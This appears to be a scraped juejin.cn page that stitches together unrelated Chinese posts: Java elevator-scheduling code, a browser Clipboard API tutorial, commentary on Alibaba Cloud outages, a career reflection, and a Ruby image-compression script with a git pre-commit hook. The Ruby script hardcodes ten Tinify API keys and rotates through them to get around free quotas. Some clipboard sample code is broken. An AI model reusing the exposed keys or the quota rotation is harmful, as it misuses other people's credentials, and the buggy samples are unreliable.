} else {
this.setCurrentMoveDirection(MoveDirection.UP);
}
} else {
return;
}

if (this.checkLayer(layer)) {
this.setTargetLayer(layer);
this.move(diff);
}
}

/**
* 检查楼层所属的区间, 下面是 layer 楼层所在的不同区间的所有的返回结果: <br/>
* 一. [ (layer: -1) 低楼层 -- (layer: 0) --> 高楼层 (layer: 1) ] <br/>
* 二. [ (layer: -1) 高楼层 -- (layer: 0) --> 低楼层 (layer: 1) ] <br/>
* 三. 电梯处于 stop 状态时若电梯处于 stop 状态, 返回 layer 与 currentLayer 的楼层差值
*
* @param layer 要检查的楼层
* @return 返回数字, 表示 layer 楼层所属的区间
*/

int checkLayerInRange(Layer layer) {
Layer currentLayer = this.getCurrentLayer();
Layer targetLayer = this.getTargetLayer();
int currentLayerNumber = currentLayer.getLayerNumber();
int targetLayerNumber = targetLayer.getLayerNumber();

int layerNumber = layer.getLayerNumber();

// 上升时, 返回值取决于楼层 layer 所在的区间: [ (layer: -1) 低楼层 -- (layer: 0) --> 高楼层 (layer: 1) ]
if (isMoveUp()) {
if (layerNumber < currentLayerNumber) {
return -1;
} else if (targetLayerNumber < layerNumber) {
return 1;
} else {
return 0;
}
}
// 下降时, 返回值取决于 layer 所在的区间: [ (layer: -1) 高楼层 -- (layer: 0) --> 低楼层 (layer: 1) ]
else if (isMoveDown()) {
if (layerNumber < targetLayerNumber) {
return 1;
} else if (layerNumber > currentLayerNumber) {
return -1;
} else {
return 0;
}
}
// 若电梯处于 stop 状态, 返回 layerNumber 与 currentLayerNumber 的差值
else {
return layerNumber - currentLayerNumber;
}
}

2、LiftRequest.java 核心代码


void removeUpLayer() {
this.removeLayer(this.nextUpList, this.nextDownList, MoveDirection.UP);
}

void removeDownLayer() {
this.removeLayer(this.nextDownList, this.nextUpList, MoveDirection.DOWN);
}

/**
* 电梯到达目标楼层时移除楼层, 从 usingList 中移除 <br/>
* 当 usingList 中没有楼层时, 则设置 freeList 的第一个元素为 {@link Lift#targetLayer}, freeList 将成为 usingList<br/>
*
* @param nextUsingList 下一执行阶段要执行的任务
* @param nextFreeList 下一执行阶段要执行的任务
* @param moveDirection 当前电梯的运行状态
*/

private void removeLayer(List<Layer> nextUsingList, List<Layer> nextFreeList,
MoveDirection moveDirection)
{
Lift lift = this.lift;
List<Layer> taskList = this.taskList;

// 当前任务执行完成, 将其移除
removeFirst();

// 移除后如果任务列表不为空, 就将列表第一个楼层设为目标楼层
if (!taskList.isEmpty()) {
lift.setTargetLayer(getFirst());
return;
}

// 这段代码在下面的情况下生效 (电梯发生转向时):
// 例如: 电梯从第一层移动到第七层, 在电梯到达第五层时, 此时在第三层按下向下的按钮, 将会添加到 nextFreeList 集合中
if (!nextFreeList.isEmpty()) {
taskList.addAll(nextFreeList);
// 根据不同的移动状态排序
if (MoveDirection.isMoveUp(moveDirection)) {
this.reserveSort();
} else if (MoveDirection.isMoveDown(moveDirection)) {
this.sort();
}
lift.setTargetLayer(getFirst());
nextFreeList.clear();
}

// 如果电梯反向运行列表没有元素 (nextFreeList 为空, empty), 就执行同向的任务列表
// 例如: 电梯要从第一层移动到第七层, 并且电梯已经移动到第四层, 此时点击第一层的上升按钮和第三层的上升按钮,
// 将会添加到 nextUsingList 集合中
// 电梯移动过程: (1): 1 --- 上升 ---> 7 (2): 7 --- 下降 ---> 1 (3): 1 --- 上升 ---> 3
if (taskList.isEmpty() && !nextUsingList.isEmpty()) {
taskList.addAll(nextUsingList);
if (MoveDirection.isMoveUp(moveDirection)) {
this.sort();
} else if (MoveDirection.isMoveDown(moveDirection)) {
this.reserveSort();
}
lift.setTargetLayer(getFirst());
nextUsingList.clear();
}
}

/**
* 添加楼层
* @param layer 要添加的楼层
* @param moveDirection 要去往的方向
*/

void addLayer(Layer layer, MoveDirection moveDirection) {
if (!this.taskList.contains(layer)) {
Lift lift = this.lift;
if (lift.getCurrentLayer().equals(layer)) {
this.alreadyLocated(layer);
return;
}
lift.setTargetLayerIfNull(layer);
int result = lift.checkLayerInRange(layer);
// 如果电梯处于停止状态
if (lift.isMoveStop()) {
if (result > 0) {
this.addUpLayerWithSort(layer);
lift.setCurrentMoveDirection(MoveDirection.UP);
} else if (result < 0) {
this.addDownLayerWithSort(layer);
lift.setCurrentMoveDirection(MoveDirection.DOWN);
}
lift.setTargetLayer(layer);
return;
}
// 根据按钮点击的是上升还是下降来调用
if (MoveDirection.isMoveUp(moveDirection)) {
this.addUpLayer(result, layer);
} else {
this.addDownLayer(result, layer);
}
}
}

/**
* 添加要上楼的楼层
*
* @param result result
* @param layer 要添加的楼层
*/

private void addUpLayer(int result, Layer layer) {
Lift lift = this.lift;
if (lift.isMoveUp()) {
if (result == 0) {
lift.setTargetLayer(layer);
this.addUpLayerWithSort(layer);
} else if (result == 1) {
this.addUpLayerWithSort(layer);
} else if (result == -1) {
this.addLayerIfNotExist(this.nextUpList, layer);
}
} else if (lift.isMoveDown()) {
this.addLayerIfNotExist(this.nextUpList, layer);
}
}

/**
* 添加要下楼的楼层
*
* @param layer 要添加的楼层
*/

void addDownLayer(int result, Layer layer) {
Lift lift = this.lift;
if (lift.isMoveDown()) {
if (result == 0) {
lift.setTargetLayer(layer);
this.addDownLayerWithSort(layer);
} else if (result == 1) {
this.addDownLayerWithSort(layer);
} else if (result == -1) {
this.addLayerIfNotExist(this.nextDownList, layer);
}
} else if (lift.isMoveUp()) {
this.addLayerIfNotExist(this.nextDownList, layer);
}
}

五、有话说


有兴趣的小伙伴可以自己写一个类似的程序,或者在此基础上做修改、加上新的处理逻辑,代码如有瑕疵,敬请见谅!


作者:情欲
来源:juejin.cn/post/7305984583983398950
收起阅读 »

点击自动复制剪贴板

web
目标🎯: 一键复制"功能,用户点击一下按钮,指定的内容就自动进入剪贴板。 实现🖊️: 方法一:Document.execCommand()方法 方法二:Clipboard Document.execCommand() Document.execCommand(...
继续阅读 »

目标🎯:


一键复制"功能,用户点击一下按钮,指定的内容就自动进入剪贴板。


实现🖊️:


方法一:Document.execCommand()方法


方法二:Clipboard


Document.execCommand()


Document.execCommand()是操作剪贴板的传统方法,各种浏览器都支持。

支持复制、剪切和粘贴这三个操作。




  • document.execCommand('copy')(复制)




  • document.execCommand('cut')(剪切)




  • document.execCommand('paste')(粘贴)




(1)复制操作


复制时,先选中文本,然后调用document.execCommand('copy'),选中的文本就会进入剪贴板。


const inputElement = document.querySelector('#input'); 
inputElement.select();
document.execCommand('copy');

上面示例中,脚本先选中输入框inputElement里面的文字(inputElement.select()),然后document.execCommand('copy')将其复制到剪贴板。


注意,复制操作最好放在事件监听函数里面,由用户触发(比如用户点击按钮)。如果脚本自主执行,某些浏览器可能会报错。


(2)粘贴操作


粘贴时,调用document.execCommand('paste'),就会将剪贴板里面的内容,输出到当前的焦点元素中。


const pasteText = document.querySelector('#output');
pasteText.focus();
document.execCommand('paste');

(3)缺点


Document.execCommand()方法虽然方便,但是有一些缺点。


首先,它只能将选中的内容复制到剪贴板,无法向剪贴板任意写入内容。


其次,它是同步操作,如果复制/粘贴大量数据,页面会出现卡顿。有些浏览器还会跳出提示框,要求用户许可,这时在用户做出选择前,页面会失去响应。


为了解决这些问题,浏览器厂商提出了异步的 Clipboard API。


异步 Clipboard API


Clipboard API 是下一代的剪贴板操作方法,比传统的document.execCommand()方法更强大、更合理。


它的所有操作都是异步的,返回 Promise 对象,不会造成页面卡顿。而且,它可以将任意内容(比如图片)放入剪贴板。


navigator.clipboard属性返回 Clipboard 对象,所有操作都通过这个对象进行。


const clipboardObj = navigator.clipboard;


如果navigator.clipboard属性返回undefined,就说明当前浏览器不支持这个 API。


由于用户可能把敏感数据(比如密码)放在剪贴板,允许脚本任意读取会产生安全风险,所以这个 API 的安全限制比较多。


首先,Chrome 浏览器规定,只有 HTTPS 协议的页面才能使用这个 API。不过,开发环境(localhost)允许使用非加密协议。


其次,调用时需要明确获得用户的许可。权限的具体实现使用了 Permissions API,跟剪贴板相关的有两个权限:clipboard-write(写权限)和clipboard-read(读权限)。"写权限"自动授予脚本,而"读权限"必须用户明确同意给予。也就是说,写入剪贴板,脚本可以自动完成,但是读取剪贴板时,浏览器会弹出一个对话框,询问用户是否同意读取。


image.png


另外,需要注意的是,脚本读取的总是当前页面的剪贴板。这带来的一个问题是,如果把相关的代码粘贴到开发者工具中直接运行,可能会报错,因为这时的当前页面是开发者工具的窗口,而不是网页页面。


(async () => {
const text = await navigator.clipboard.readText();
console.log(text);
})();

如果你把上面的代码,粘贴到开发者工具里面运行,就会报错。因为代码运行的时候,开发者工具窗口是当前页,这个页面不存在 Clipboard API 依赖的 DOM 接口。一个解决方法就是,相关代码放到setTimeout()里面延迟运行,在调用函数之前快速点击浏览器的页面窗口,将其变成当前页。


setTimeout(
async () => {
const text = await navigator.clipboard.readText();
console.log(text);
},
2000);

上面代码粘贴到开发者工具运行后,快速点击一下网页的页面窗口,使其变为当前页,这样就不会报错了。


Clipboard 对象


Clipboard 对象提供了四个方法,用来读写剪贴板。它们都是异步方法,返回 Promise 对象。


Clipboard.readText()


Clipboard.readText()方法用于复制剪贴板里面的文本数据。


document.body.addEventListener(
'click',
async (e) => {
const text = await navigator.clipboard.readText();
console.log(text);
}
)

上面示例中,用户点击页面后,就会输出剪贴板里面的文本。注意,浏览器这时会跳出一个对话框,询问用户是否同意脚本读取剪贴板。


如果用户不同意,脚本就会报错。这时,可以使用try...catch结构,处理报错。


async function getClipboardContents() {
try {
const text = await navigator.clipboard.readText();
console.log('Pasted content: ', text);
} catch (err) {
console.error('Failed to read clipboard contents: ', err);
}
}

Clipboard.read()


Clipboard.read()方法用于复制剪贴板里面的数据,可以是文本数据,也可以是二进制数据(比如图片)。该方法需要用户明确给予许可。


该方法返回一个 Promise 对象。一旦该对象的状态变为 resolved,就可以获得一个数组,每个数组成员都是 ClipboardItem 对象的实例。


async function getClipboardContents() {
try {
const clipboardItems = await navigator.clipboard.read();
for (const clipboardItem of clipboardItems) {
for (const type of clipboardItem.types) {
const blob = await clipboardItem.getType(type);
console.log(URL.createObjectURL(blob));
}
}
} catch (err) {
console.error(err.name, err.message);
}
}

ClipboardItem 对象表示一个单独的剪贴项,每个剪贴项都拥有ClipboardItem.types属性和ClipboardItem.getType()方法。


ClipboardItem.types属性返回一个数组,里面的成员是该剪贴项可用的 MIME 类型,比如某个剪贴项可以用 HTML 格式粘贴,也可以用纯文本格式粘贴,那么它就有两个 MIME 类型(text/html和text/plain)。


ClipboardItem.getType(type)方法用于读取剪贴项的数据,返回一个 Promise 对象。该方法接受剪贴项的 MIME 类型作为参数,返回该类型的数据,该参数是必需的,否则会报错。


Clipboard.writeText()


Clipboard.writeText()方法用于将文本内容写入剪贴板。


document.body.addEventListener(
'click',
async (e) => {
await navigator.clipboard.writeText('Yo')
}
)

上面示例是用户在网页点击后,脚本向剪贴板写入文本数据。


该方法不需要用户许可,但是最好也放在try...catch里面防止报错。


async function copyPageUrl() {
try {
await navigator.clipboard.writeText(location.href);
console.log('Page URL copied to clipboard');
} catch (err) {
console.error('Failed to copy: ', err);
}
}

Clipboard.write()


Clipboard.write()方法用于将任意数据写入剪贴板,可以是文本数据,也可以是二进制数据。


该方法接受一个 ClipboardItem 实例作为参数,表示写入剪贴板的数据。


try {
const imgURL = 'https://dummyimage.com/300.png';
const data = await fetch(imgURL);
const blob = await data.blob();
await navigator.clipboard.write([
new ClipboardItem({
[blob.type]: blob
})
]);
console.log('Image copied.');
} catch (err) {
console.error(err.name, err.message);
}

上面示例中,脚本向剪贴板写入了一张图片。注意,Chrome 浏览器目前只支持写入 PNG 格式的图片。


ClipboardItem()是浏览器原生提供的构造函数,用来生成ClipboardItem实例,它接受一个对象作为参数,该对象的键名是数据的 MIME 类型,键值就是数据本身。


下面的例子是将同一个剪贴项的多种格式的值,写入剪贴板,一种是文本数据,另一种是二进制数据,供不同的场合粘贴使用。


function copy() {
const image = await fetch('kitten.png');
const text = new Blob(['Cute sleeping kitten'], {type: 'text/plain'});
const item = new ClipboardItem({
'text/plain': text,
'image/png': image
});
await navigator.clipboard.write([item]);
}

举个🌰


  // 复制功能
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>

<body>
<input type="text" value="AJS4EFS" readonly id="textAreas" />
<!--右边是一个按钮-->
<a href="javascript:;" class="cuteShareBtn" id="copyBtn" onclick="copy()">复制</a>
</body>

<script>
function copy() {
const text = document.querySelector("#textAreas").value
if (navigator.clipboard) {
navigator.clipboard.writeText(text)
}
else {
const textAreas = document.createElement("textareas")
textAreas.style.clip = "rect(0 0 0 0)"
textAreas.value = text;
text.select()
document.execCommand('copy')
document.body.removeChild(textAreas)
}
}
</script>

</html>

作者:呜嘶
来源:juejin.cn/post/7306327158130311183
收起阅读 »

降本增笑,阿里云的数据库管控又崩了

最近阿里巴巴为大家枯燥的生活带来了不少谈资,大家笑称为“降本增笑”。 先是10月23日语雀接近8个小时的宕机,然后是11月12日阿里云底层授权模块接近3个小时的服务不可用,今天(11月27日)又是接近2个小时的数据库管控故障,每两周一次故障,偶尔的一次还能说的...
继续阅读 »

最近阿里巴巴为大家枯燥的生活带来了不少谈资,大家笑称为“降本增笑”。


先是10月23日语雀接近8个小时的宕机,然后是11月12日阿里云底层授权模块接近3个小时的服务不可用,今天(11月27日)又是接近2个小时的数据库管控故障,每两周一次故障,偶尔的一次还能说的过去,这么频繁的故障,发故障公告的同学可能也觉得头皮发麻了!


WechatIMG96.jpeg


伴随着阿里云的频繁报障,大家对阿里云的信任进一步降低,之前卖力宣传的自主云难道就是这个水平。我这个10年的阿里云用户,也不免心生疑虑,阿里云要不行了吗?要不要把之前自有的Redis集群再搞起来?要不要试试多云部署?


最近几年有一个下云的技术潮流,核心思想就是云服务太TM贵了,下云之后节省的不是一点半点。当然下云也有下云的问题,硬件和软件都要搞起来,得能自己玩的转,不过现在有K8S,一般企业用这个就可以快速搭建起自己的私有云,如果用这个还有问题的话,绝对不是一般企业,技术牛人招过来基本也能解决。


不过这也不是说所有的企业都适合下云,新成立的企业,云成本比较低的企业,选择公有云还是一个比较靠谱的方案,对于新企业最重要的是把业务跑通,获取稳定的盈利,然后才是降本增效,考虑要不要搞个私有云,而不是一上来就铺个大摊子。


对于使用私有云的企业,很多也不是完全放弃了公有云,而是混合使用,站在成本的角度,企业往往会有一些突发的计算需求,公有云能提供更灵活的计算资源,时常用一下还是挺不错的。


这两次出现故障的方面都在管控程序,服务器实例,数据库实例、存储实例运行的还比较正常,所以如果你使用公有云,又想不被它牵制的太多,只使用最基础的服务可能也是一种比较好的策略,比如只使用云服务器,其它数据库、文件存储都采用成熟的开源方案。当然这需要具备一定的技术维护能力。


如何使用公有云,大家要三思而后行。


原因


对于阿里频繁技术故障背后的原因,有网友归结为阿里的大规模裁员,有网友根据阿里的财报数据估算,近9个月内,阿里减少了1.5万人。结合互联网行业广泛存在的35岁现象,很多人认为大量有着丰富经验的程序员都被裁员毕业了,剩下的都是一些经验不怎么足够的小年轻,所以故障就不可避免的出现了。裁员本为降本,却一不小心让大家看了笑话,此所谓降本增笑。


还有网友们对阿里文化的吐槽,高P员工热衷于搞一些概念PPT、PUA下属,所有工作都扔给下级能力不怎么强的低P员工,不了解底层和实现,出了问题就杀两个程序员祭天。


以上大概就是大家认为的阿里云频繁出现故障的原因。但真的是这样吗?


咱们先看下裁员问题。阿里虽然裁掉了很多人,但是也没有超过10%,一个10人的团队,怎么也得有两三个技术比较牛的大佬吧,所以不至于没人顶得上。再说如果真的缺少某方面的技术能力,阿里应该还是能通过招聘解决的。


再看文化的事,这个就很难说了,文化确实能影响一个公司的成败。


如果管理者每天醉心于新思路、新概念,只关注上线进度,开发人员可能就会在各种deadline之间疲于奔命,让他们能吃透业务、搞清楚各种概念之间的关系,可以说是痴人说梦,有时他们甚至会舍弃一些技术指标,因为他们想的可能是赶紧把迭代完成,千万别影响了个人和团队绩效,哪有时间认真思考技术决策,程序就可能越写越乱,相互冲突,相互耦合,难以维护,容易出问题,而且出了问题不好解决,当这个情况累计到一定的程度,问题就开始猛烈而频繁地爆发出来了。


技术的问题自然可以解决,只是市场和用户留给阿里云的时间还有多少?


如果真的是管理或者文化上的问题,阿里云有没有自我革新的力量?


作者:萤火架构
来源:juejin.cn/post/7306019536813686818
收起阅读 »

那些年走岔的路,一个人总要为自己的认知买单!

前天晚上彻夜难眠,翻来覆去,直到差不多凌晨四点才睡着,早上八点就起床上班了,很久都没有失眠了,失眠真的让人很痛苦。 回想起一些往事,自己做对了一些选择,但是也做错了很多选择,我想这大概就是人生,现在回想起来,不曾后悔,只有总结! 一 大四下学期我们就离开学校了...
继续阅读 »

前天晚上彻夜难眠,翻来覆去,直到差不多凌晨四点才睡着,早上八点就起床上班了,很久都没有失眠了,失眠真的让人很痛苦。


回想起一些往事,自己做对了一些选择,但是也做错了很多选择,我想这大概就是人生,现在回想起来,不曾后悔,只有总结!



大四下学期我们就离开学校了,加上寒假的两个月,实际上我们的实习期有半年多,但是找工作应该是大四上学期就开始了。


那时候彪哥整天都在面试,积累了不少面试经验,也学习了不少知识,而那时候我鬼迷心窍,去做项目去了。


因为一些巧合,我加入了一个SAAS软件开发的小团队,做的是酒店方面的业务,我是远程办公,那段时间一边做毕设,一边做项目,但是做毕设的时间很少,因为论文就花了五天时间去写,更多是在做酒店项目。


现在我有一部分读者都是从我的区块链毕设过来的,我想对你们说一声,感谢你们的付费,但是也想对你们说一声对不起,如果当时我专心去做毕设,或许呈现在你们眼前的作品会更好,但是时间不能重来!


但是后来我仔细思考,我既不应该花时间去做毕设,也不应该为了点钱去做项目!


纵使我的毕设得了优秀毕设,算是我们那一届最优秀的毕设,但是并没有什么卵用,你的简历并不会因为一个优秀毕设而变得多么耀眼。


为了一点钱去做项目也不理智,因为一个人的时间是有限的,当把时间碎片化后,就很难集中去做一件事了,当时虽然说给我6k一个月,但是因为很多东西不熟悉,所以现去学,像uniapp都去学了,所以功能完成度和质量不高,一个月只给我结了3000不到!


干了两个月我们就毕业了,我收拾行李就回家了。



回到家里后,他们说直接给我一个单独项目做,也是一个SAAS的系统,说开发周期2个月,5万块钱,我当时心里想,一个月两万多,我直接不去实习了,安心干,干完我还可以玩几个月,这他妈多好啊。


于是我就接下来了,就开始进入coding状态,白天干,晚上干,后面在家里呆烦了,又跑回学校去。


在学校呆了半个多月,我做了50%,于是迫于经济压力,又回家了,回家最起码不愁饭吃。


图片


那时候,我把自己定义为一个自由职业者,我也挺享受这样的生活,coding累了,就出去走走,回来后又继续coding,说实话,还挺享受!


那时候基本上大多同学都出去实习了,有些去了很不错的互联网公司,听他们说公司又是用什么牛逼的技术了,心里就突然有点羡慕。


但是想到项目做完马上能拿到钱了,就没有去羡慕了。


两个月时间很快到了,老板准时来验收了,不过一验bug足足提了几百个,还有很多变更,老板说尽快改完!


当时我有点懵,不应该先给我点钱吗?


我就说先付40%给我,但是人家说,你这玩意用起来到处是问题,无法用啊,怎么给钱?


我无话可说,拿不到钱,心里更加焦虑了,想不干了,那么就前功尽弃,如果继续干,问题越来越多,变更越来越多,思来想去,最后还是硬着头皮干了!


陆陆续续又干了半个多月,这时候二验又开始了,老板说这次稍微好了一点,但是也无法用啊,于是叫我把代码上传到他们仓库,然后给我付3000块钱,开发完后再一起结,我自然不愿意。


我想,代码给你了,你不理我了怎么办,所以我还是想等开发完以后拿到钱再交代码。


这时候我干了快三个月了,心里虽然看到一点希望,但是更多的是焦虑,因为再有几个月了就要毕业了,而我还没有去实习!


父母也开始念叨,心里的压力就更大了,我想,再干半个月,还拿不了钱,我真的就不干了。


我又继续做,为了快速做完,很多东西我都是没有考虑的,所以问题自然也多,特别还有硬件对接,还有一些复杂的操作。


说实话,这东西暂时肯定是用不了的,但是为了能拿到钱,我也带有一点骗的成分在里面,偷工减料,以为人家看不出来,实际上别人比你精多!


很多项目二验不通过,那基本就烂尾了,但是老板说,来个三验,果然还是用不了,问题很多,所以依然没拿到钱。


心里更加烦躁了,后面我直接说要么给钱,要么不做了,心里彻底崩溃了,心里后悔,为啥要去接这个项目,为啥浪费这么多时间,为啥不去实习。


后面老板说,如果你不想开发了也可以,把代码交出来,给你5000块钱,后面你和别人一起协同开发,不用全职开发。


我心里是抗拒的,干了这么久才几千块钱,心有不甘,不过过了几天,因为经济压力,所以还是选择交出代码了,谈成了6000块钱。


因为我知道他们会一直加需求,一直在变更,是一个无底洞!


三个多月,就得了6000块钱,心里别提多难受,不过好在暂时有点钱用。


于是直接就不干了,在家里呆了几天就开始投简历了,只有三个月不到就毕业了,所以自然去不了外面了,于是只能在省会城市找实习了。


还好那时候面试机会还挺多,一个星期不到就入职了,6000块钱的实习,就去干了,说实话,一个三线城市,也只能开这么多了!


不过现在这种就业环境,如果学历背景没有占优势,三线城市找6000以上的实习,还是比较难的,这两年市场真的比较低迷了!


“自由职业者“的那段时间,大概是我这么多年来最煎熬的时光,因为总是在希望和失望中来回穿梭。


后来我在书中看到一段话,“如果命运给你一次机会,哪怕是一根稻草,你也要牢牢抓住”,显然那个时候我的认知比较低,认为那就是命运的稻草,但是实际上那不是,那是荆棘!


当你的认知和能力都不够的时候,就算钱摆在你面前你都拿不了。



落笔到这里,心里不禁泛起一阵酸楚!


一个人总要为自己的认知买单的,因为在很黄金的时间阶段,我去做了不太正确的选择,虽然不曾后悔,但是我知道那是不理智的选择。


这段回忆虽然会成为我人生的阅历,甚至可以说是一种财富,但是他终归是一个教训,不值得提倡!



在大四上学期,应该快速把毕设做完,然后进入复习,投简历,即使找不到工作,也能锻炼面试能力,对自己的知识体系进行查缺补漏!


优秀毕设,论文,这些在本科阶段实际上没什么卵用,不过是教育的一个考核而已。


在校期间,那些社团活动,学生会并不能为你将来的职业发展发挥多大的作用,切勿过于沉迷!


眼前的小钱是陷阱,在未来很快就能赚回来!


在学校期间,兼职是完全没有必要的,因为赚不了几个钱,但是却花费了大量的时间,学生时期正是学习知识的时候,浪费了就没有了。


因为把只是学扎实,这点钱等毕业后一个月就能全部赚回来,但是如果浪费了,将要用很多时间去弥补,这时候你已经落后于别人很多了!


虽然我去做项目也能锻炼自己的能力,但是时机不对,如果大三去做那么没问题,但是在临近毕业之际去做,这就是不理智的。



学生时代,对于项目我们是没有风险把控能力的,也不清楚项目的流程,所以能赚到钱的几率不大!


我浪费了三四个月的时间去做一个项目这是不理智的,首先单干很有局限性,因为独木不成舟,你很多东西考虑不到位,所以会有很多漏洞。


还有你不能学习优秀的人的逻辑,实际上你是处于一个封闭的状态。


我觉得正确的做法是应该找一个不错的公司进去学习,融入团队,这样才能真的学到东西。


天真的是,我当时还想将其打造成一个产品,然后进行创业!


后来想想,自己如果真的投入时间去做了,那么不仅赚不到钱,可能还会饿肚子。


不用说什么不去试试怎么知道。


当你的认知跟不上的时候,你所想的,所做的,基本上都不会成功,不要想着幸运之神降临在你的身上。



那年,我傻逼地把自己定义为自由职业者。


实际上我连边都沾不上,因为没有赚到钱,还谈什么自由,叫“烂账职业者”还差不多。


今天,我们总是去羡慕那些自由职业者每天不用上班也能赚钱,实际上和你看到的不一样。


自由职业者赚到钱的人只有少数,但是都是经历过很多尝试,认知得到飞跃地提升后才成的。


不过可以肯定的是,未来自由职业者会越来越多,个人IP也将在未来大爆发。


布局是我们该做的事。


种一棵树最好的时间是十年前,其次是现在。



以上也就是对于过去的一些反思,我从来不去抱怨过去,只是去思考自己。


因为每一条路都没有对错,只能说很多时候选择大于努力。


路走岔了的时候要及时止损,不要一头黑走到底,这样对自己不好。


对于未来,还是得比较理性去看待,虽然充满各种不确定性,但是很多确定性的东西我们是能看到的。


行文至此,已经凌晨2点!


作者:追梦人刘牌
来源:juejin.cn/post/7306143755585486848
收起阅读 »

图片自动压缩

在进行包大小优化工作时,压缩图片的大小是其中一个重要的环节。而要压缩的图片包括本地项目中的图片和之后要新增到项目中的图片。所以压缩图片分为两个部分: 遍历项目中的所有图片,压缩后替换原图片 每次git提交代码前,如果有新增图片,进行压缩后再提交 压缩本地项...
继续阅读 »

在进行包大小优化工作时,压缩图片的大小是其中一个重要的环节。而要压缩的图片包括本地项目中的图片和之后要新增到项目中的图片。所以压缩图片分为两个部分:



  1. 遍历项目中的所有图片,压缩后替换原图片

  2. 每次git提交代码前,如果有新增图片,进行压缩后再提交


压缩本地项目中的图片


require "fileutils"
require "find"
require "tinify"

t = Time.now
$image_count = 0
$total_size = 0
$total_after_size = 0
$fail_count = 0
$success_count = 0
$success_file_name = "successLog.txt"
$fail_file_name = "failLog.txt"
compress_dir = "/Users/zhouweijie1/Documents/test/Expression.xcassets" #将要压缩的文件夹路径放这
# 获取白名单列表路径
$white_list_path = "#{Dir.pwd}/gitHooks/imageCompressWhiteList.txt"

$keys = ['tbfVHxRmxxR3Vb3XQwrxMbfHPNnxszpH', 'B83mGyQcbpmFzz1Qym5ZdhT3Ss503b5b', 'L1DfbF8kpRzstlMfbvmkvCSg6knkQD71', '2L6km1p5yJRZsNYs0GJ6m4klL1rMJ4RJ', '5wmc8dDxY1WKg4DTPSLXQ20dWWjRbzyG', '1DkYWCXDvPJfMrNbV6NPB0QpQTGzZLfD', 'bRG9yXbc07w77sP43gqjgP8tlgDPjdVJ', 'xwvXrTp2pSJYWDjkHQ7wTBTxDMbLdx4r', '4pFYmxVBK6vnpKR5hh8r0hD4BGmS75K4', '6rSpQHxHpygLyZMQnTH6WNjxGVV9mt0x']
$keys_index = -1

def setup_key
$keys_index += 1
Tinify.key = $keys[$keys_index]
Tinify.validate! # validate后会更新compression_count
if $keys_index == $keys.length
puts "本月所有免费使用次数都用完,请增加key"
elsif Tinify.compression_count >= 500
setup_key
end
end

def write_log(fail, success)
if success != 0
file = File.new($success_file_name, "a")
file.syswrite("#{success}\n")
end
if fail != 0
file = File.new($fail_file_name, "a")
file.syswrite("#{fail}\n")
end
end

def compress(image_name)
begin
# Use the Tinify API client.
origin_size = File.size(image_name)
Tinify.from_file(image_name).to_file(image_name)
log = image_name + "\n#{origin_size} bit" + " -> " + "#{File.size(image_name)} bit"
puts log + ":#{Time.now}"
write_log(0, log)
$success_count += 1
rescue Tinify::AccountError
# Verify your API key and account limit.
setup_key
print("失效的key:" + Tinify.key + "\n")
compress(image_name)
rescue Tinify::ClientError => e
# Check your source image and request options.
log = image_name + "\nClientError:#{e.message}"
puts log + ":#{Date.now}"
write_log(log, 0)
$fail_count += 1
rescue Tinify::ServerError => e
# Temporary issue with the Tinify API.
log = image_name + "\nServerError:#{e.message}"
puts log + ":#{Date.now}"
write_log(log, 0)
$fail_count += 1
rescue Tinify::ConnectionError => e
# A network connection error occurred.
log = image_name + "\nConnectionError:#{e.message}"
puts log + ":#{Date.now}"
write_log(log, 0)
$fail_count += 1
rescue => e
# Something else went wrong, unrelated to the Tinify API.
log = image_name + "\nOtherError:#{e.message}"
puts log + ":#{Time.now}"
write_log(log, 0)
$fail_count += 1
end
end
# 检测到文件夹中所有PNG和JPEG图片并压缩
def traverse_dir(file_path)
setup_key
Dir.glob(%W[#{file_path}/**/*.png #{file_path}/**/*.jpeg]).each do |image_name|
$total_size += File.size(image_name)
# compress(image_name)
$total_after_size += File.size(image_name)
$image_count += 1
end
end

traverse_dir(compress_dir)
time = "时间:#{Time.now - t}s from #{t} to #{Time.now}"
count = "图片总数:#{$image_count},本次压缩图片数:#{$image_count}, 成功图片数:#{$success_count},失败图片数:#{$fail_count}"
size = "之前总大小:#{$total_size/1024.0} k,之后总大小:#{$total_after_size/1024.0} k,优化大小:#{($total_size - $total_after_size)/1024.0}"
puts time
puts count
puts size
write_log(0, time)
write_log(0, count)
write_log(0, size)
complete = "压缩完毕!!!"
if $fail_count != 0
complete += "有#{$fail_count}张图片失败,请查看:#{File.absolute_path($fail_file_name)}"
end
puts complete

# 检查key的免费使用次数
def check_keys_status
$keys.each do |key|
begin
Tinify.key = key
Tinify.validate!
puts "#{key}:#{Tinify.compression_count}"
rescue
end
end
end
# 白名单
def ignore?
file = File.new($white_list_path, "a+")
file.readlines.each { |line|
line_without_white_space = line.strip
if line_without_white_space.length > 0
result = $image_path.match?(line_without_white_space)
if result
return true
end
end
}
return false
end

压缩即将提交的图片


要压缩即将提交的图片,就要使用git hook拦截代码提交动作,将pre-commit文件放到.git/hooks文件中就行了。pre-commit文件中的代码逻辑为获取当前提交的内容,遍历是否是图片,是的话就执行压缩脚本:


#!/bin/sh

#
检测是否为最初提交
if git rev-parse --verify HEAD >/dev/null 2>&1
then
against=HEAD
else
# Initial commit: diff against an empty tree object
against=4b825dc642cb6eb9a060e54bf8d69288fbee4904
fi

#
If you want to allow non-ASCII filenames set this variable to true.
git config hooks.allownonascii true

#
Redirect output to stderr.
exec 1>&2

#
获取.git所在目录
git_path=$(cd "$(dirname "$0")";cd ..;cd ..; pwd)
#获取当前分支名
branch=$(git symbolic-ref --short HEAD)

#
得到修改过的代码的文件列表
git diff --cached --name-only --diff-filter=ACMR -z $against | while read -d $'\0' f; do
if [[ $f == *".png" || $f == *".jpg" || $f == *".jpeg" ]];then
#拼接文件绝对路径
path="$(cd "$(dirname "$0")";cd ..;cd ..; pwd)/$f"
pattern='/Pods/'
pathStr="$path"
if [[ ! ($pathStr =~ $pattern) ]]; then
#执行压缩脚本
ruby "$git_path/gitHooks/imageCompressor.rb" $path $branch
git add $f
fi
fi

done

压缩脚本单独放在一个文件中,内容如下:


require "tinify"

